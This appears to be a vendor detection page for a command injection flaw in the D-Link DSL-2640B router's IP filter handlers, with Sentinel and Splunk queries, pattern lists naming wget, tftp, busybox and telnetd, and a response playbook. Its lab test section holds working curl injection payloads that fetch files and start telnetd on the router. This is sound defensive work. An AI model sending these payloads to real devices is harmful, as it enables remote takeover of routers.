Detect D-Link DSL-2640B IP Filter scoutflt/scinflt Command Injection (CVE-2026-138290) in Microsoft Sentinel
Detects exploitation attempts against the command injection vulnerability CVE-2026-138290 in the D-Link DSL-2640B 3.0.6.0.41 router. The flaw is in the scoutflt/scinflt functions of the IP Filter component. Attacker-controlled input to IP filter parameters such as srcAddr is passed into shell command execution (CWE-77/CWE-78) without sanitization. A successful request can run arbitrary OS commands on the device (CVSS 4.0 base score 9.3). The attack can be launched remotely. Because this is an embedded SOHO router, detection focuses on web-request telemetry, proxied HTTP access to the management interface, and downstream indicators such as unexpected outbound connections or firmware tampering. A public proof-of-concept write-up has been disclosed. No confirmed in-the-wild use is recorded in the sources.
Based on dujiaode DSL2640B scoutflt/scinflt filter command injection write-up
MITRE ATT&CK
KQL Detection Query
// df00tech DF00-9b4e27c155 · https://df00tech.com/detections/CVE-2026-138290 · licence: https://df00tech.com/detections/licence
// Microsoft Sentinel / Defender - detect command injection against D-Link DSL-2640B IP Filter scoutflt/scinflt endpoints
// Works against proxied/reverse-proxy or network HTTP logs ingested into CommonSecurityLog or custom WebRequest tables
let susPatterns = dynamic([";", "|", "`", "$(", "&&", "%0a", "%0A", "%3b", "%3B", "%26", "wget", "tftp", "busybox", "/bin/sh", "nc ", "telnetd"]);
CommonSecurityLog
| where DeviceVendor in~ ("D-Link", "Zscaler", "Palo Alto Networks") or isnotempty(RequestURL)
| where RequestURL has_any ("scoutflt", "scinflt") or RequestURL contains "IP Filter" or RequestURL has "ipfilter"
| extend DecodedUrl = url_decode(RequestURL)
| where DecodedUrl has_any (susPatterns) or RequestURL has_any (susPatterns)
| project TimeGenerated, SourceIP, DestinationIP, DeviceName, RequestURL, DecodedUrl, RequestMethod, DeviceVendor
| sort by TimeGenerated desc Flags HTTP requests to the DSL-2640B scoutflt/scinflt IP Filter handlers that carry shell metacharacters or payload download tooling indicative of command injection.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrator configuring IP filter rules whose values coincidentally include ampersand/semicolon characters in descriptions
- Vulnerability scanners or authorized penetration tests probing the management interface
- Security appliances that log URL-decoded payloads and re-ingest them, producing duplicate pattern hits
Other platforms for CVE-2026-138290
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated scoutflt command injection via curl
Expected signal: Proxy/firewall HTTP log entry showing POST to /scoutflt containing ';wget' payload
- Test 2 Simulated scinflt inbound filter injection
Expected signal: HTTP request log showing /scinflt with %0a and busybox telnetd payload
- Test 3 Pipe-based command injection against IP Filter
Expected signal: HTTP log entry with /scoutflt containing pipe and tftp payload
Response Playbook
Triage
- Identify the source IP making the request and determine whether it is an authorized administrator or management host; requests to scoutflt/scinflt should originate only from the LAN management subnet.
- URL-decode the captured request and extract the injected payload after shell metacharacters (;, |, `, $(), %0a) to understand the intended command (for example wget/tftp download, telnetd enable, reverse shell).
- Confirm the target device is a D-Link DSL-2640B running firmware 3.0.6.0.41 by checking inventory or the device banner/HTTP Server header.
- Check whether the management interface is reachable from untrusted networks or exposed to the WAN, which raises impact.
Containment
- Block the attacker source IP at the perimeter firewall and restrict access to the DSL-2640B management interface to a dedicated admin VLAN/ACL.
- Disable WAN-side remote management on the device and, if compromise is suspected, isolate the router from the network pending forensic review.
- Where possible, place the vulnerable device behind a segmentation boundary. The product line is end-of-life and no vendor patch is referenced in the sources.
Evidence Collection
- Capture full proxy/firewall HTTP request logs including the raw and decoded URI, source IP, timestamp and User-Agent for the suspicious scoutflt/scinflt requests.
- Collect the router configuration backup and, if accessible, the device syslog and any writable filesystem artifacts (dropped binaries, modified startup scripts, altered IP filter rules).
- Preserve downstream network flow records showing any outbound connections initiated by the router immediately after the request.
Escalation Criteria
- !Escalate to incident response if the injected command includes a successful file download (wget/tftp), service enablement (telnetd), or if outbound connections from the router are observed after the request.
- !Escalate if the management interface is confirmed reachable from the WAN/internet, as exploitation may be automated.
- !Escalate if the same payload pattern is seen against multiple devices or repeated from the same source.
Investigation Guide
Forensic Artifacts
- >
Web/proxy access logs showing scoutflt or scinflt requests with shell metacharacters - >
Router syslog or crash/debug output referencing the IP Filter handler - >
Newly created or modified files on the device (downloaded binaries, altered rc/startup scripts, modified IP filter rule tables) - >
Unexpected listening services (for example telnetd) or outbound connections from the router IP
Tuning Guidance
Baseline which internal hosts legitimately administer the DSL-2640B and allowlist those source IPs to reduce noise from genuine IP filter configuration changes. If administrators routinely use special characters in filter rule names, tighten the payload regex to require known command-injection tooling (wget/tftp/busybox//bin/sh/telnetd) alongside metacharacters. On networks without this device model, scope the rule to the device's management IP only.
Hunting Queries
Hunt for repeated or clustered command-injection attempts against the IP Filter endpoints grouped by source IP.
// df00tech DF00-9b4e27c155 · https://df00tech.com/detections/CVE-2026-138290 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has_any ("scoutflt","scinflt") | extend d=url_decode(RequestURL) | where d has_any (";","|","$(","wget","tftp","busybox") | summarize count() by SourceIP, bin(TimeGenerated,1h) ``` df00tech DF00-9b4e27c155 · https://df00tech.com/detections/CVE-2026-138290 · licence: https://df00tech.com/detections/licence ```
index=proxy (uri=*scoutflt* OR uri=*scinflt*) | eval d=urldecode(uri_query) | where match(d,"[;|`]|wget|tftp|busybox") | stats count by src_ip, uri Atomic Red Team Tests
Sends a crafted request to the DSL-2640B scoutflt IP Filter endpoint with a shell metacharacter payload to validate detection of command injection patterns. Lab/isolated device only.
Command
curl -s -X POST 'http://192.168.1.1/scoutflt' --data 'ipfilter_rule=1;wget http://10.0.0.5/x -O /tmp/x' Cleanup
echo 'No persistent change on the testing host; remove any /tmp/x on the target lab device: rm -f /tmp/x' Expected Telemetry
Proxy/firewall HTTP log entry showing POST to /scoutflt containing ';wget' payload
Expected Detection
KQL/SPL rules match on scoutflt endpoint with wget and semicolon metacharacter
Sends a GET request to the scinflt handler with URL-encoded newline and command to exercise detection of encoded injection. Lab only.
Command
curl -s 'http://192.168.1.1/scinflt?rule=1%0abusybox%20telnetd' Cleanup
echo 'No host-side artifacts; disable any telnetd started on lab device: killall telnetd 2>/dev/null || true' Expected Telemetry
HTTP request log showing /scinflt with %0a and busybox telnetd payload
Expected Detection
Rules match on scinflt endpoint with %0a and busybox/telnetd indicators
Issues a request using a pipe metacharacter to chain a command through the IP Filter parameter, validating pipe-based detection. Lab only.
Command
curl -s 'http://192.168.1.1/scoutflt?ipfilter=1|tftp%20-g%20-r%20m%2010.0.0.5' Cleanup
echo 'No persistent host change; remove any retrieved file on lab device: rm -f ./m' Expected Telemetry
HTTP log entry with /scoutflt containing pipe and tftp payload
Expected Detection
Rules match on IP Filter endpoint with pipe metacharacter and tftp tooling